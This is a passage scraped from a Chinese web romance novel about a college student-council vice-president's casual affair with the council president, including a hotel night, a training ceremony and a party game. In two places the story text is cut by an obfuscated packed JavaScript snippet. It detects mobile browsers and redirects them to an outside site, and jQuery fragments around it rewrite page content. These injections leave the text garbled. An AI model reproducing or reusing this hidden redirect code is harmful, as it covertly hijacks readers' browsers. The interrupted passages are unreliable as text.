而这次柯愫澄主动约靳宥司,不过是看看他是否有利用价值,如果有,一拍即合的情况下,成为固定火包友,也不是不行。 听到靳宥司这句耐人寻味的暗示,柯愫澄勾起唇角:“如果是靳老板特意买的蛋糕,我很乐意尝一尝。” 半小时后,两人前后脚走进酒店套房。 柯愫澄这会儿已经有些站不住脚,刷卡进入后直奔客厅,就看到茶几上摆着一个蛋糕盒。 柯愫澄的脸上显露出不可思议,她回头,靳宥司还在门口换鞋。 视线再次落到蛋糕盒上,她在沙发上坐下:“你真请我吃蛋糕啊。”准备得这么充分,合着不怀好意的就只有自己咯。 靳宥司已经走过来,他将腕表取下放到中岛台上,语气悠悠地,不戳破这场游戏,谁才是居心叵测之人。 “吃吧,你点名要的口味。”话音落,靳宥司转身进了厨房。 留柯愫澄在这绞尽脑汁的想,自己还点名要过蛋糕的口味?什么时候的事?完全没有印象了。 想了好一会儿,她拆开蛋糕盒,吃了四分之一块草莓蛋糕。随后往沙发上一摊,瞬间整个人陷进柔软的沙发里,由于姿势不太雅观,她翘起一条腿,再顺手拿了个抱枕放怀里。 躺舒服了,她心中涌出一股疑团,明明今晚喝得不算多,但不知道为什么,自从喝完靳宥司送来的那杯没名字后,她的头就晕乎乎的。 这让她不由得开始怀疑面前的这个狡猾的男人。 看着靳宥司进入厨房后久久没有出来,不知道在冰箱里翻找些什么东西。 柯愫澄没戴隐形眼镜,看不清靳宥司手上拿着的黄色罐子里装的东西,只是问:“没名字你是不是改了配方。” “头晕?” 他的反问实在太迅速,罪魁祸首不就是他吗! 柯愫澄拧眉:“你故意的?骗我过来和你上床?” 靳宥司手上的动作一停,掀起眼皮看过去:“所以在你心里,我到底是个多么恶劣的人?” 他能问出这个问题,是不是就表示他其实是可以感受得到的对吗。 实在了说,柯愫澄对靳宥司肯定是谈不上喜欢的,最多也就觉得他长得好看,是自己感兴趣的类型,那要说讨厌,也不准确,应该说是不喜欢。 不喜欢的原因很简单,觉得他装,谎话连篇,爱立人设,等等等等。 但当他这么直白的问出了这个问题,柯愫澄又装模作样的否认了:“我可没说。” 闻言,靳宥司收回视线,轻扯了下唇角。没说话,脸色沉了几分,继续手头上的事情。 柯愫澄早不看靳宥司了,一双眼睛满屋子乱跑。没一会儿的功夫就被手边圆形桌上的蓝色小方盒吸引了目光。 包装盒从上至下写着:大胆爱吧,LOVE,亲密薄大胆爱,3只装。 柯愫澄眉梢一挑,拿起小方盒,仔细地看:“酒店还给你们这种包年的客人准备套?” 靳宥司走过来,将装着淡黄色液体的玻璃杯放在茶几上:“你看那套我能戴吗?” “为什么不能?”柯愫澄真不知道,有些懵,抬起头看着靳宥司。 听到她这么问,靳宥司了顿一瞬:“你说呢。” 柯愫澄还没搞清楚状况:“那之前我俩那啥,用的不是酒店的套?” 靳宥司一时无言以对,将兜里手机掏出丢沙发上,真心诚意建议:“你还是别沾酒了,喝完脑子笨,不记事儿。” 柯愫澄明显不服气:“除了这些,其他的事我也没忘啊。” 兴许是觉得可笑,靳宥司没忍住嗤了声:“没吗?” 柯愫澄斜着眼睛看人:“那你说,我还忘记什么了?” 靳宥司没闲心陪她在这回忆过往,忘就忘了吧,只抬抬下巴,示意桌上的玻璃杯:“喝了。” 柯愫澄顺着他的视线看过去,在看到这杯淡黄色液体后,她的眉心不自觉蹙起:“这什么东西?” “蜂蜜水。” 听到这,柯愫澄肉眼可见的嫌弃:“我不喝,我不喜欢蜂蜜,也不喜欢温水,喝了想吐,恶心。” 靳宥司没什么所谓,转身,撂下一句:“随你便。” 看到靳宥司要走,柯愫澄叫住他:“你去哪?” 他没停下脚步,径直朝着浴室的方向走:“洗澡。” 随着浴室的门被关上,这偌大的客厅里只剩下柯愫澄一人。她看着面前茶几上的这杯蜂蜜水,纠结片刻,最终还是端起玻璃杯,踱步来到了厨房。 打开冰箱冷冻柜,从里头挖了一勺冰块,丢进玻璃杯中,才勉强闷头喝掉了大半杯。 将玻璃杯洗干净放在中岛台上,柯愫澄回到客厅,刚在沙发上坐下,手机响起一阵来自Q.Q消息的提示音。 解锁手机一看,毫不意外是周肆决发来的。 两人的聊天界面上方有两个方框,分别是:解除关系和加为好友。 聊天内容则停留在,周肆决发来的那句:【学姐,能约你出来散个步吗?我有点心事找不到可以聊的人。】 柯愫澄没回他的消息,直到刚刚,周肆决似乎意识到自己这次的做法过于冒犯。 他措辞许久,发来:【对不起学姐,我不是故意想打扰你的,是刚刚和舍友玩游戏输了,抱歉哈,实在是对不住了。】 柯愫澄能不懂这些男生的小心思吗,她见的人多了去,对这些追求人的手段了如指掌。 没戳穿他,只回了句:【叫你们宿舍的都早点睡,小心我跟贺教官打小报告。】 对面再发来什么柯愫澄就没管了,靠着沙发悠哉悠哉刷了会儿短视频,浴室的门被打开,周身雾气缭绕,弥漫在空气中的蒸汽从潮湿的浴室里涌出。 靳宥司赤裸着上半身走了出来,他的肩膀上搭着条毛巾,正抬手擦拭着滴水的头发。 他走过来:“去洗澡。” 柯愫澄眉心一蹙,脱口而出:“我没想做。” 靳宥司打量着她,语气闲闲:“不做也得洗了澡再睡觉。” 说完这话,他将搭在肩上的毛巾随意丢到茶几上,倾身拿放在沙发上的手机。全然不在意此时此刻,一双眼睛正在自己光着的部位游走。 柯愫澄还记得之前黎荔问,这个一夜.情的对象有什么特殊的信息,现在得再补充一点,身材好也算是信息吧。 瘦而不柴,宽肩窄腰,肌肉线条流畅没有丝毫赘余,又是冷白皮。 不管是身材,还是技术,又或是脸蛋子,都完美的踩在了柯愫澄的xp上,这简直太带劲了点。 不过今晚柯愫澄是真没想要做。 但她却在看遍了靳宥司的身体后,故意说:“那我要是反悔了呢。” 靳宥司似乎已经摸透了柯愫澄,她现在说任何略微有些露骨或者暧昧的话,都不足以令他感到意外。 就连眼皮都不舍得抬一下,依旧低着头看手机:“得去买套。” 听了这话,柯愫澄有些难以置信:“你都不提前准备套的吗?” 靳宥司脑袋稍稍一偏,神色复杂的看过来。 柯愫澄没等他说话,紧接着又道:“你们这种人不都是会买很多套,等待时机的吗?” 话音刚落,靳宥司唇角轻微扯起,闷哼一声,像是被她这话给气着了:“你是不是忘了那晚那套是你选的。” 啊? 柯愫澄真给忘了,一点印象都没有,也难怪不久前靳宥司说的那番话,有关套能不能戴的问题,可是思来想去还是觉得不太可能,他俩没熟悉到可以一起挑选做饭厨具吧。 柯愫澄的眼神中透着怀疑:“我选的?” “得,真什么都忘了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867541|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 靳宥司早料到会这样,也没多在意,说完这话他余光瞟到不远处的中岛台上,放着一只沾着水渍的玻璃杯。 刚收回视线,柯愫澄突然站了起来,不打算再继续这个话题。 她迈步朝着浴室的方向走,没走几步又折返了回来:“我没换洗衣物。” 靳宥司应了声:“你先洗,我等会儿拿了送过去。” 柯愫澄挑眉:“你的?” “不然还有谁的?” 柯愫澄没再说什么,走进浴室后将门反锁。 听到落锁的声响,靳宥司唇角不屑的勾起。 与此同时的浴室里。 柯愫澄将全身衣物褪去,放在洗手台上,赤着脚走进淋浴间。 打开花洒,热水喷薄而出,水珠沿着白皙的肌肤滑落。她用手轻轻拨弄着头发,双眼微闭,温热的水在发间流淌。 刚将头发的泡泡冲洗干净,浴室的门被敲响。 靳宥司清沉温淡的嗓音在门外响起:“衣服放门口椅子上了。”话闭,他转身离开。 听到门外脚步声渐渐远去,柯愫澄关掉花洒,裹着浴巾来到了门口。 拉下门把手推开门,透着门缝看到椅子上放着一个塑料袋。 柯愫澄将塑料袋拿了进来,反手关上门,打开后发现里头不止有一套居家服,还有医用一次性内裤。 半小时后,柯愫澄穿着靳宥司的灰色居家服从浴室出来。 靳宥司的衣服柯愫澄穿在身上有些松松垮垮,上衣的长度刚好遮盖住屁股,睡裤就略微有些宽大了。 主要问题出在腰上,哪怕这部位是松紧带的设计,但由于柯愫澄的腰只有56cm,原本裤长应该在膝盖上,现在却掉到了膝盖下。 倒不难看,毕竟柯愫澄有一七二,个子算不上矮,穿着宽大的居家服给人一种慵懒感。 从浴室出来后她将洗干净的内裤晾到晒衣架上,经过书房时发现门没有关严实,里头传来对话声,电话那头是谢津洲的声音。 “靳哥,丁姐说想回学生会。” 柯愫澄记得,在学校时,谢津洲都是称呼靳宥司为靳主席,合着他们那个圈子的人都喜欢人前一套人后一套。 不等对面再说什么,靳宥司语气不客气:“她当玩过家家呢,这事儿我不负责,你处理。” 谢津洲没敢揣测靳主席的意思,小心翼翼多问了一嘴:“那是让她进还是?” 靳宥司敷衍道:“随便给她个职务当当得了。” 丁欲倾的名字柯愫澄并不陌生,就是传闻中那位学生会副主席的候选人之一。 柯愫澄之所以记得这人,主要是学生会那几个碎嘴特爱聊八卦,经常听到他们背地里嚼人舌根。 至于丁欲倾是否真如传闻中那样讨厌自己,柯愫澄自然不会只听学生会那些人的一面之词。 就哪怕这件事是真的,那也不干她的事儿。 他们的对话还在继续,柯愫澄没兴趣继续听下去,转身进了卧室。 刚躺上床没两分钟,靳宥司推门进入。 不知道是太久没一块儿睡的缘故,还是因为每次睡觉,都是在脑子不太清醒的情况下进行,此时此刻,柯愫澄只觉得浑身不得劲,特不自然。 靳宥司进入房间后也不说话,站在床边捣鼓着手机,没一会儿又听到床头柜抽屉一开一关的声响。 柯愫澄没打算等他,先一步侧躺下来,照例睡前刷一会儿短视频。 正当身心逐渐放松时,被子的一角被掀开,身后床垫猛然陷了下去,原本松弛的肌肉瞬间变得紧绷。 下一秒,灯被关掉。 昏暗静谧的房间里,一切感官系统都会变得越发敏锐。 柯愫澄能很明显的感受到身旁这人身体里散发出的热气,就像是个发烫的火炉。下意识就想到,如果是冬天一块儿睡,想必会很暖和。 见时候不早了,柯愫澄没打算再刷视频,将手机锁屏放到床头柜上。 半分钟都没有,便传出沉沉的呼吸声。 靳宥司瞥了一眼,又不动声色地挪开视线。 直到睡了快一个小时,却始终没有丝毫睡意,他再次看向睡熟的柯愫澄。 他的手不受控的抬起,停在半空中。深邃的眸光里看不出情绪,冷白的手背浮现出几根青筋,几秒后掌心微微收紧,垂落下来。 也就在这时,柯愫澄突然转过身,黏黏糊糊哼唧了一声,随后不打一声招呼的,抬手搂抱住了靳宥司。 瞬间,靳宥司呼吸一滞,先前烦躁不安的情绪,在这一刻得到缓解。 感受到柯愫澄身体传递来的暖意,像是得到了解脱,靳宥司整个人都放松下来。 舒舒服服睡了一夜,隔天醒来,靳宥司已经不知道去向。 柯愫澄慢悠悠从床上爬起来,拿起床头柜上的手机,看到微信有一条未读消息,是靳宥司发来的。 Si-:【机车停酒店前坪停车场。】 柯愫澄顺手回了个OK,起床洗漱完毕后离开了酒店。她没直接去学校,而是先回了趟家,换了身衣服。 赶到学校时,距离第四节课上课还有十分钟。 她将车熄火,兜里手机接收到一条微信消息,是好友壳少发来的,内容算不上劲爆。 壳少:【她出轨了。】 柯愫澄没问这里的‘她’是谁,心里多多少少有数。还没来得及回复,嗖的一声,又一条新消息弹出。 壳少:【乐队得散。】 看到这句,柯愫澄的脸色骤然一沉:【乐队散不散我说了算。】 消息发送过去,等柯愫澄到了教室,坐下准备上课,壳少的消息才来,是一张偷拍照,地点在学校附近的咖啡厅。 照片中,咖啡厅靠窗的位置坐了两个人,面对着镜头的是个男人,戴着黑色棒球帽,穿着件黑色短袖,胸口处印着蓝色字母。 柯愫澄不自觉蹙起眉,将照片扩大,想看清楚这人是谁。 确认后,壳少的语音也发了过来:“这他妈不是幻师的老板吗?姓靳对吧。” 8. 小偷 紧接着第二条语音传了过来:“我是说昨晚这个混蛋为什么莫名其妙来咱这桌,还有啊,他一过来贝壳肉眼可见的不对劲,一个劲的往他那边看,呵呵,我现在算是搞明白了。” 柯愫澄并不想帮靳宥司辩解,毕竟她对靳宥司也不足够了解,不清楚他的真实为人。 但只说一点,以柯愫澄对壳少的了解程度,他得消息的渠道就那么点儿,通常情况下还不够准确,所以暂时无法判断这个料的真实性。 此时任课老师已经走进教室,并发起了扫码签到。 柯愫澄快速打字:【这事我先找人查清楚,你别冲动。】 壳少是一刻都忍不了,他脾气本来就易燃易爆,现在还摊上这么个破事,简直烦到极点:“不用查了,出轨对象就是他准没错。” 柯愫澄来不及跟他掰扯。 讲台上的男教授正抱着胳膊来回走动,看一眼屏幕上显示的已签到人数,随后催促道:“还有没签到的动作迅速点,最后给两分钟。” 柯愫澄退出微信先扫码签到,再返回聊天界面时,壳少的语音已经传了过来,足足四十秒。 “绝对就是这个姓靳的混蛋勾引的贝壳,贝壳多好一姑娘啊,要不是那个男狐狸精太懂如何蛊惑人心,我和贝壳不至于走到这一步……” 语音消息还在持续弹出,柯愫澄没办法每条都听到,看着满屏的未读红点,她一条条转文字,结合上下文看明白对面在骂些什么粗鲁,且摆不上台面的话。 柯愫澄意识到,壳少似乎已经将所有的错误,都怪罪到了偷拍照中的同性身上,哪怕真相并没有大白,但他全然不在乎。 可有些事情,没有和壳少说,并不代表就没有发生过。 现在也只能耐着性子跟他讲道理:【凡事都要讲究证据,你是抓到他俩进酒店了还是怎么着,就要冲过来揍他,你怕反被他揍一顿?】 壳少现在正在气头上,特不服气的反驳:【他看着就没多大的力气,还怕打不过?我直接吊打那小子。】 柯愫澄一时语塞,她不想打击壳少,但实话实说了讲,靳宥司的力气可不是一般的大。 她练过几年的空手道,揍人这方面不说特别牛逼,还是有点实力的,打几个男的不在话下,但她却完全不是靳宥司的对手,拳头还没挥出去,就被他反扣住。 更别谈什么反抗了,靳宥司能直接把人拎起来丢床上,想逃都逃不掉。 也不知道他哪来的这么大的力气,穿衣服时看着瘦精精的,脱光了那肌肉线条啊,漂亮得没话说,一看就是一直有在坚持锻炼。 想到这,柯愫澄突然意识到,昨晚的睡眠质量似乎相当不错,一夜无眠,睡得特安稳。 那么是不是就表示,靳宥司有一定的利用价值? 她没再回对面的消息,先找人把事情调查清楚。 而接下来的几天,壳少异常的安分,没再主动联系柯愫澄,也没有采取任何行动,不知道他在预谋些什么。 柯愫澄没功夫管他,本周日就是新生军训的结业典礼,当天晚上还要举办迎新晚会,作为学生会副主席兼新生助辅,她需要跟进的事情多了去,根本没时间处理乐队乱七八糟的问题。 至于她和靳宥司,自从睡完那一晚,他俩就没再联系,微信私聊也没有过,所有的交流都在学生会工作群里进行,说的话也特别官方。 日子照旧过,终于在连续失眠好几天后,盼到了军训结业典礼。 典礼于上午九点整正式开始。 柯愫澄踩着点赶到操场,坐在观众席看了整场汇报表演。 不得不说,贺融生还挺适合当教官的,他带出来的连队表现相当出色,队列动作整齐划一,在最后的表彰大会上获得了荣誉证书。 随着结业典礼进入尾声,观众席上病号连的同学以及各班助辅有秩序的下到操场,参与最后的送别仪式。 柯愫澄本以为这帮小屁孩大概率不太喜欢贺融生,毕竟贺教官整天板着张脸,又是出了名的严苛。现在十七八岁的孩子大多都是独生子,被养得娇滴滴,大概率是承受不了这些的。 可当她和同组的男助辅一道过来操场时,却意外的发现,并非如此。 连队的同学们争先恐后的往贺融生怀里塞鲜花,一束接着一束,眼中满是不舍,有些男孩儿甚至红了眼眶,被一旁的同学嘲笑,都多大的人还哭鼻子。 见此情景,柯愫澄有些难以置信,她记得前两周大家伙儿还在背地里抱怨贺教官太凶,想集体抗议换一个教官。 就一个礼拜不见,怎么各个都抱着贺融生又亲又哭的?这变化简直太大了点,让人一时无法接受。 就在这时,男助辅掏出手机走到队伍最前面:“拍合照啦各位!” 随着咔擦一声响,一营三连完美收官。 拍完班级大合照,同学们还嫌不够,一个个都拿出手机,将贺融生团团围住,想单独拍几张照片留作纪念。 柯愫澄全程抱着胳膊站在一旁,一副事不关己的样。 直到贺融生捧着向日葵,穿过人群,大步而来。 他抬了抬下巴:“咱俩拍一张。” 男助辅嗖的一下凑过来:“我帮你们拍。” 柯愫澄没想过贺融生会来这么一处,完全没有要拍照的打算,表情中甚至透着怪异:“我俩有什么好拍的,还嫌合照不够多?” 也就这么一句看似极为随意的话,出口却让周遭众人嘴都合不拢,顿时惊呼出声。 “学姐学姐,你和贺教官是什么关系啊,怎么还有数不清的合照?” “学姐,你和贺教官是男女朋友吗?” “贺教官,你和柯学姐是咋认识的啊?” …… 问题接连不断的涌出,挡都挡不住,叽叽喳喳地,吵得人脑仁疼。 周肆决见情况不对劲,也不等柯愫澄和贺融生解释,先站了出来:“你们能别这么八卦吗?都别乱传谣言啊,到时候让人说闲话了。” 这儿还有谁不知道周肆决明恋柯愫澄学姐啊,看到人家和贺教官关系这么亲密,肯定不乐意了啊,但有什么办法呢,吃瓜才是一线任务。 众人压根儿没搭理周肆决,一个劲的往柯愫澄和贺融生这边凑,像是早晨菜场买菜的大爷大妈,生怕晚一点儿就抢不着好菜了。 柯愫澄险些被挤到,面上表情倒看不出生气,多半是在忍耐。 贺融生能不知道吗,刚想叫停,柯愫澄轻抬手,示意别吵吵了,随后还算好声好气的说:“让你们失望了,我和贺教官发小来的,关系特纯。” 听到解释,众人瞬间泄了气。周肆决悬在半空的心也终于落回肚子里,他呼出一口气。 男助辅在这时插了一句嘴:“那…还拍合照吗?” 柯愫澄拒绝的话到了嘴边,被一旁的贺融生抢先一步:“拍。” 这边快门键还没按下,不远处一对男女吵吵嚷嚷的就过来了。 陈弗凡最先冲到贺融生跟前,一把揽住他,还不忘送了一拳在他肩膀上:“我靠你小子,合影不等我们来,是想搞孤立还是怎么着。” 黎荔跟在后头,她今天出门急,这会儿踩着一双不那么舒服的高跟鞋,歪歪扭扭往这边来:“贺教官,是不是以后都不想带我们玩了?” 贺融生余光瞟到,隔壁几个连队都已经走完了送别仪式的流程,正聊着闲天。 时间紧迫,他也懒得废话了,示意男助辅:“拍吧。” 男助辅比了个OK的手势:“来来来,看镜头,要开拍咯。” 快门键按下,又一张四人合影存入相册中。 黎荔最先拿到手机,迫不及待看照片的最终呈现效果。 柯愫澄就瞥了眼,实在没忍住,吐槽道:“跟个娘们儿似的。” 都用不着指名道姓,黎荔就知道她说的是谁,白了眼还在那傻笑的陈弗凡:“你没看见人家多嫌弃你,还死皮赖脸要挽着人家手臂,你当是姑娘家家呢,你俩别做兄弟了,做闺蜜得了。” 与此同时的主席台上,谢津洲从后边休息室拿了两瓶矿泉水过来,递一瓶给靳宥司。 靳宥司没接水,姿态散漫地抄着兜,视线落在不远处。 谢津洲将递出去的水收回,十分好奇的往台下看了眼,只见乌压压一片人头,啥关键信息都没抓住:“靳哥你看啥呢,有啥稀奇玩意儿?” “没。”靳宥司转身,从谢津洲手里拿了矿泉水,边拧瓶盖边往台下走。 五分钟后,全体教官集合,小跑离开操场。 此时队伍里的啜泣声越来越响亮。 柯愫澄不太懂如何安慰人,说的话有些干巴巴:“你们不都觉得贺教官凶巴巴的吗,三个礼拜处出感情了?” 一位男同学吸着鼻子说:“虽然贺教官看着凶巴巴,从没笑过,但他特别护着我们,我们被总教官训了,都是他给我们撑腰,他人很好的。” 另一边的女同学附和道:“对啊对啊,虽然军训很辛苦,贺教官骂人不带脏字,惩罚人的招数每天都换花样来,但也不妨碍他就是个顶顶的大好人啊。” 这越说啊,越催泪。 柯愫澄赶紧终止这个话题:“别哭丧着个脸了,又不是见不着了。” 她也不把话说明白,反正过了今天,他们就可以改口叫贺融生,学长了。 仪式正式结束后,柯愫澄就算是彻底解放了,今后这帮大一生跟自己就没有半点儿关系了,她也终于不用大半夜还处理寝室间的矛盾问题。 现在就只等着迎新晚会开始了。 柯愫澄用不着全程都待那,几乎是踩着点到的,她到礼堂休息间时,学生会的几个重要成员都到齐了,正围坐在办公桌前闲聊。 兴许是话题太炸裂,他们没有一个人发现柯愫澄的到来,柯愫澄也并不想加入到他们的聊天中,自个儿随便找了个角落的位置坐下刷手机。 也就在这时,经纪人阮东的消息传了过来。 阮东:【贝壳说要退队,我还没同意,你对这事什么看法?】 能有什么看法,几个月前偷包那事的幕后主使人就是贝壳,贺融生当初打探到这个消息的时候,没打算明说,他想着毕竟朋友一场,闹太僵对谁都没好处,但柯愫澄不是这样的想法。 所以这次阮东过来问她,对贝壳退队有什么看法的时候,她就想送对方俩字:滚蛋。 阮东的消息柯愫澄没回,刚好新生差不多到齐了,场子也热起来了,她跟着四位主持人来到了后台,做最后的准备工作。 此时距离迎新晚会正式开始还有最后五分钟,学生会成员们陆陆续续也来到了后台。 唯独不见主席和秘书长的身影。 直到嗅到一股熟悉的檀木香,与薄荷味果香混杂的味道。 柯愫澄没有回头,已然听到身后众人齐声喊道:“靳主席,谢秘书长。” 这一刻,她心中产生一丝疑惑,靳宥司是抽了烟过来的?他就不怕被旁人闻到吗?如果闻到了,那他立的人设不就崩塌了? 不过这些都不关自己的事,她唯一好奇的就是,靳宥司抽的究竟是什么牌子的烟,为什么会这么好闻。 其实柯愫澄对烟并不感冒,有时还挺反感的,但她对靳宥司抽的这款却特别感兴趣。 她甚至想过,是不是不小心被靳宥司蛊惑到了,所以才会产生某种迷恋,对这烟的味道,以及他这个人。 就像和他睡觉一样,睡一次就会爱上,跟中了毒似的,得一直靠获取得到满足,没了就发狂,彻夜难眠,做些稀奇古怪的梦,试图找到那晚的感觉。 这究竟是怎样一种魔力,柯愫澄至今为止没有弄明白。 这对于她来说,其实不是个好消息,因为她并不想真正的迷恋上一个人,这是个很可怕的事情,严重点,可以说是一种心理疾病。 不等她再过多思考如何解决这个问题,四位主持人排队走上了舞台,迎新晚会正式开始。 柯愫澄在后台待了十多分钟,就返回休息间继续刷手机了。 学生会那群人对晚会上表演的节目也不太感兴趣,私下都不知道看了多少遍,一个个都回到了休息间,开始聊闲天。 他们刚坐下没多久,话题才开了个头,休息间的门被推开,穿着美式复古v领短袖,黑色牛仔裤的美女走了进来。 她的视线准确无误的落在了角落的沙发处,那儿就坐了柯愫澄一人。 就这么一眼,学生会那群人敏锐的八卦雷达再次响个不停,一个个都低着头在手机上敲敲打打,群里聊得热火朝天,休息间却异常的安静。 突然没了说话声,柯愫澄觉得奇怪,一抬眼便和丁欲倾对上了视线。 两秒钟后两人又默契的别开眼,丁欲倾也在众人的注视下找了个空位坐下。 这样略微有些尴尬的气氛没持续多久,休息间又来了人。 黎荔踩着高跟鞋,哒哒哒的凑到了柯愫澄跟前:“在干嘛呢宝贝。” 闻声,柯愫澄抬头,眼中闪过一丝诧异:“你怎么想着过来凑这个热闹,你对象哪去了?” 沙发那么宽,黎荔便要挤在柯愫澄边上,粘着她:“那小子带着贺融生出去鬼混了。” “打台球?”柯愫澄将手机锁屏,丢茶几上。 黎荔努努嘴:“多半是,可能晚点还会去开个房上网。” 兴许是黎荔过来休息间的缘故, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867542|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尴尬的氛围逐渐消散,学生会那群人又接着聊闲天。 至于丁欲倾,她时不时就往休息间门口看上一眼。 直到看了不下十次后,门再次被推开。 周肆决走在最前边,手里拎着俩塑料袋,袋子里装着酒水饮料以及零食。 跟着他一同进来的还有靳宥司和谢津洲,俩人正聊着什么,谢津洲看到丁欲倾竟然会在这,特稀奇的两步凑过去跟她搭话。 周肆决已经将手里的塑料袋放到了桌上,招呼大家:“给各位学姐学长们带了点吃的喝的,大家别嫌弃。” 有吃有喝的,这帮人嘴角都咧到太阳穴了。 “哪能嫌弃啊,周学弟一番好意,咱们感谢还来不及呢。” “就是就是,正是口渴了,你送的太及时了点。” 另一边谢津洲一个人巴巴个不停,丁欲倾懒得搭理他,起身换了个位置坐下,而后招手叫周肆决来这边坐。 周肆决心不在焉,一双眼就盯着角落沙发处,见柯愫澄没有要过来吃东西的打算,他坐下后提议:“咱玩点什么呗,干聊天多没意思啊。” 此时丁欲倾心里的小九九彻底藏不住了:“那玩国王游戏怎么样?刚好人多。” “行啊行啊。” 众人都没意见,只等着主席和秘书长加入了。 靳宥司也没说要玩,从桌子底下拖出张椅子坐下,靠着椅背,低头看手机。 谢津洲跟着也坐了下来,象征性的叫了声:“副主席,你们也一块儿过来玩游戏呗,反正闲着也是闲着。” 柯愫澄原本打算拒绝,毕竟她跟在场的都不熟,但黎荔那迫不及待,且兴奋的表情都摆出来了,她最终妥协。 所有人都已落座,游戏正式开始。 国王游戏的游戏规则很简单,抽中国王牌的人可以指定某两个数字的玩家做任何事情,如果无法完成,则需要罚酒三杯。 第一轮抽到国王牌的是谢津洲,他麻溜亮了牌,脱口而出:“6和8喝交杯酒。” 6和8都还没站出来,起哄声就先响起,整个房间像是突然涌进了无数只鸟,噪乱得不行。 在一阵阵哇唔声中,柯愫澄和周肆决同时翻了手上的牌。 见此情景,在座的各位更是闹翻了天,唯有丁欲倾狠狠瞪了谢津洲一眼。 谢津洲懵了啊,这姐咋了,玩个游戏还生上气了? 他转头就跟靳宥司打小报告:“你看她,莫名其妙瞪我。” 靳宥司早就放下手机,目睹了全程,他吐槽的话都懒得说:“有点眼力见行不行。” 这下谢津洲更懵逼了。 不等他反应,在众人的注视下,柯愫澄拿起酒杯,朝周肆决轻挑眉,示意过来喝酒。 周肆决巴不得啊,端着酒就往柯愫澄这边来。 酒还没喝上呢,他的脸就已经红了大半,跟火烧似的,耳根子都辣辣的。 柯愫澄速战速决,挽了手臂仰头就将杯中的酒给喝了个干净。 周肆决虽然慢了柯愫澄一步,但也算是喝了半个交杯酒的关系了,他现在连看她都不敢,羞涩得不行。 听到现场疯了般的嚎叫起哄声,周肆决怪害羞的摆了两下手:“行了行了,接着玩。” 回到座位,第二轮游戏开始。 这回抽中国王牌的是黎荔。 再早一开始抽牌看牌时,黎荔就已经偷偷瞟到靳宥司的牌。 她过来玩这游戏,目的再简单不过,此刻她直接在桌子底下抢了柯愫澄手里的牌,看清楚数字后,她拍桌亮出国王牌:“3和5接吻。” 不愧是常年泡吧的,这任务一般人都不敢想,毕竟接吻是不是玩得太大了点。 此时3号和5号还没有亮牌,黎荔不着急,也没打算改变任务,毕竟那俩人什么没干过啊,就偏偏没亲过嘴,那这次就非得让他俩给我亲上。 时间一分一秒的过去,在座的不由得开始好奇,这俩人究竟会是谁呢,怎么还不出来。 学生会其中一员催促的话到了嘴边,就看到靳宥司将牌丢到桌上,拿起酒,一句多余的话都没有,连喝三杯。 这下黎荔不乐意了啊,就要甩脸子,被柯愫澄拦下。 众人的注意力立马转移到柯愫澄这里。 看到她将牌放到桌上,也连着喝了三杯酒。 这下谜底揭晓,要接吻的俩人原来是主席和副主席啊。 气氛一瞬间变得诡异,大家伙儿默默吃瓜,互递眼神。 丁欲倾唇角的笑容有些止不住,她翘着腿,抱着胳膊静静看着那俩人。 而一旁的谢津洲,兴许是觉得怪尴尬的,起了一身鸡皮疙瘩,赶忙活跃气氛:“咱继续,咱继续。” 玩了两轮劲爆的,接下来的游戏就变得十分无趣,也逐渐成为了学生会那群八卦王的主场。 柯愫澄早就没了兴致,站起身:“你们玩,我去个洗手间。” 人一走,周肆决也不想玩了,刚打算跟出去,人都还没从座位上站起来,休息间的门被打开又关上,视线前闪过一个黑影。 与此同时礼堂后台的洗手间,柯愫澄从隔间内走出,径直来到公共洗手台。 在看到走廊处站着的人后,她不由的一愣。 靳宥司早察觉到有人出来,没反应,还靠着墙低头看手机,他嘴里咬着烟,周身烟雾缭绕,他样子清冷。 柯愫澄在三秒后回过神,面向洗手台,将手打湿,挤上洗手液。 全程,靳宥司一句话没有,抽着烟。 柯愫澄将手上泡泡冲洗干净,抽了张纸巾擦手,边擦,视线由白皙的手指,慢慢移至镜子里,靳宥司的脸:“你不怕被人看到?这似乎和你立的人设有很大的出入。” 闻言,靳宥司漫不经心的掀起眼皮,悠悠道:“我也没想藏着掖着啊。” 呵呵。 柯愫澄眸光转冷,将擦湿的纸巾揉成团丢进垃圾桶。 转身要走。 靳宥司稍稍偏头,神色平静无波澜,突然递了句耐人寻味的话到跟前:“今天不吃蛋糕了。” 柯愫澄眉头轻轻一皱,似乎在品味他这话里真正埋藏的意思:“那吃什么?” “ni——” 说这话时,礼堂主厅内骤然响起一阵大合唱,拿着麦克风的歌手,声音已然被盖过。 响亮整齐的歌声就在耳畔,然而柯愫澄却只听清了靳宥司说的那一个字。 轻皱的眉头渐渐舒展开,她的唇角勾勒出一抹冷冽的笑,似乎觉得不可思议:“你约我?” 靳宥司将烟蒂碾灭,目光始终停留在柯愫澄的脸上,与她对视间,眸中意味难以琢磨:“我也没约过别人。” 9. 新成员 面对靳宥司说的这话,柯愫澄显然是不相信的。 她的第一反应就是,他用这招骗过多少姑娘,真是可笑至极,信谁都不会信他,还什么从来没主动约过别人。 退一万步讲,就算这是真话,那又能怎样,他不主动,照样多的是姑娘主动,他只需要点点头同意就好了,睡完第二天回学校继续做他的乖乖好主席。 